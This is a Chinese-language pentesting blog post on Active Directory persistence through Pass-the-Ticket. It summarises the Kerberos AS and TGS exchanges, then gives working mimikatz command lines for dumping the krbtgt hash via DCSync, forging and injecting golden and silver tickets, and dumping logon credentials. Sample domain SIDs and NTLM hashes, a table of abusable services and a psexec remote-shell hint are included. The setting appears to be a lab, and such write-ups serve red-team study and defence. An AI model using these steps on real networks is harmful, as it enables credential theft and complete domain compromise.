域权限维持:Ptt(Pass The Ticket)

更新:2020_01_23

Kerberos协议传送门:https://www.cnblogs.com/zpchcbd/p/11707302.html

Kerberos简述:

Client和AS进行的步骤

KRB_AS_REQ(请求):

Client->AS:Client 先向 KDC 的 AS 发送 Authenticator1(内容为Client hash加密的时间戳)

KRB_AS_REP(应答):

AS-> Client:AS根据用户名在AD中寻找是否在白名单中,然后根据用户名提取到对应的NTLM Hash,然后会生成一个随机数session key,然后返回给Client由Client的ntlm hash加密的session key作为AS数据,再返回TGT(使用KDC中krbtgt的NTLM Hash加密session key和客户端的信息,客户端的信息里面包含了时间戳等信息)

AS验证的简述:在 KDC(AD) 中存储了域中所有用户的密码 HASH,当 AS 接收到 Client 的请求之后会根据 KDC 中存储的密码来解密,解密成功并且验证信息。
验证成功后返回给 Client两个东西,一个是由 Client 密码 HASH 加密的 session key 和 TGT(由 KRBTGT HASH 加密的 session key 和 TimeStamp 等信息)。

Client和TGS进行的步骤

TheTicket-Granting Service (TGS) Exchange

KRB_TGS_REQ(请求):

Client 接收到了加密后的session key-as 和 TGT 之后,先用自身密码 HASH解密得到session key ,TGT 是由 KDC 中KRBTGT的HASH加密,所以Client 无法解密。这时 Client 再用session key加密的TimeStamp,然后再和TGT 一起发送给 KDC 中的 TGS(TicketGranting Server)票据授权服务器换取能够访问 Server 的票据。

KRB_TGS_REP(应答):

TGS 收到 Client 发送过来的 TGT 和 Session key 加密的 TimeStamp 之后,首先会检查自身是否存在 Client 所请求的服务。如果服务存在,则用 KRBTGT的HASH解密 TGT。

一般情况下 TGS 会检查 TGT 中的时间戳查看 TGT 是否过期,且原始地址是否和 TGT 中保存的地址相同。

验证成功之后将返回Client两个东西,一个是用 session key 加密的 session key-tgs ,然后另一个是 Client要访问的Server的密码 HASH 加密的 session key-tgs(前面和session key加密生成的) 生成就是ST(TGS)

1、黄金票据:TGT是由KDC的密钥生成的,其实域中每个用户的TGT都是由krbtgt的密码Hash来计算生成的,因此只要黑客拿到了krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器。使用krbtgt用户hash生成的票据被称为黄金票据 (Golden Ticket)

个人理解:
伪造TGT的过程发生在Authentication Service中,也就是AS里面,以上简述就可以发现当Client把TGT发送给TGS的时候,TGT 是由 KDC 中KRBTGT的HASH加密,而在TGS中只对TGT进行解密 而不验证,自然我们也就可以进行任意用户的伪造了!
利用条件:
1、域控中krbtgt账户NTLM密码哈希
2、域中的sid值
3、一台域机器的权限

步骤:

1.得到域控的krbtgt的ntlm hash值:

运行mimikatz再lsadump::dcsync /domain:top.pentest.top /user:krbtgt"

mimikatz一次性操作的命令
mimikatz.exe privilege::debug "lsadump::dcsync /domain:top.pentest.top /user:krbtgt" exit >> log.txt

2.找一台域内主机 获取其中的sid:

注:获取的sid中不需要末尾的4个数字1128 那只是账号的标识符 比如administrator后面为500

一次性步骤:mimikatz.exe "kerberos::golden /user:administrator /domain:top.pentest.top /sid:S-1-5-21-2174377853-1962599352-171107088 /krbtgt:ae8366a5c4ba8d4b9932fbb20c6c0b1d /ptt" exit

多次步骤:

mimikatz # kerberos::purge
mimikatz # kerberos::golden /admin:Administrator /domain:pentstlab.com /sid:S-1-5-21-2174377853-1962599352-171107088 /krbtgt:ae8366a5c4ba8d4b9932fbb20c6c0b1d /ticket:Administrator.kiribi
mimikatz # kerberos::ptt Administrator.kiribi
mimikatz # kerberos::tgt

参数解析:

kerberos::golden:创建黄金票据
user:administrator伪造的用户
domain域名:top.pentest.top
sid:id域中sid
krbtft:hash在域控中导出的hash
ppt:将伪造的票据插入到内存中以供使用

3.获取域控主机名字:

4.进行认证:

提示:这里我们可以直接利用psexec进行反弹shell,例如psexec /accepteula \ip -s cmd

总结:
1: 域成员机不能为03与xp及以下 否则mimikatz导入票据时会出错
2: 最后连接为域控计算机全名 不能为IP地址


2、白银票据:是伪造Kerberos票证授予服务(TGS)的票,也称为服务票据

KRB_TGS_REP(应答)中,如果验证成功之后将返回Client两个东西,一个是用 session key 加密的 session key-tgs ,然后另一个是 Client要访问的Server的密码 HASH 加密的 session key-tgs(前面和session key加密生成的) 生成就是ST(TGS)

那么如果我们知道了Server的密码hash,就能利用此HASH生成白银票据,这中间与域控制器没有通信,即没有AS-REQ 、AS-REP、TGS-REQ、TGSREP过程,只在应用服务端才会有相应日志,这段话是从《内网针对AD域的攻击方法》中复制的,同样的自己也有疑问:如果AS-REQ和AS-REP都没有的话,那么session key如何产生的呢?因为自己的理解是白银票据伪造的TGS同样是需要session key来进行支撑的,如果没有session key就没有session key-as,也不会进行到后面生成session key-tgs,以后自己理解了再写上去吧!

步骤:

域控08r2 ip:192.168.117.3
域机器 ip:192.168.117.99

1、读取域控08r2的administrator域管的ntlm

mimikatz.exe "log" "privilege::debug" "sekurlsa::logonPasswords" exit

2、在域机器上创建白银票据

格式为kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt

注意:sid获取的时候不需要用户的标识符,也就是最后横杆后面的数字

可利用的服务类型有如下:

服务注释	                                        服务名
WMI	                                        HOST、RPCSS
Powershell Remoteing	                        HOST、HTTP
WinRM	                                        HOST、HTTP
Scheduled Tasks	                                HOST
LDAP 、DCSync	                                LDAP
Windows File Share (CIFS)	                CIFS
Windows Remote ServerAdministration Tools	RPCSS、LDAP、CIFS

mimikatz.exe "kerberos::golden /domain:pentest.God /sid:S-1-5-21-1467757927-669280065-2619195215 /target:WIN-CKT0M35R6UO /service:CIFS /rc4:044dfa0c35b979ed369f7335b5ea20e0 /user:administrator /ptt" exit

总结:

1.不需要与KDC进行交互

2.需要Server的NTLM hash作为支撑


3、MS16-068

这个之前自己记录过,可以参考 https://www.cnblogs.com/zpchcbd/p/12114835.html

原文地址:https://www.cnblogs.com/zpchcbd/p/11730099.html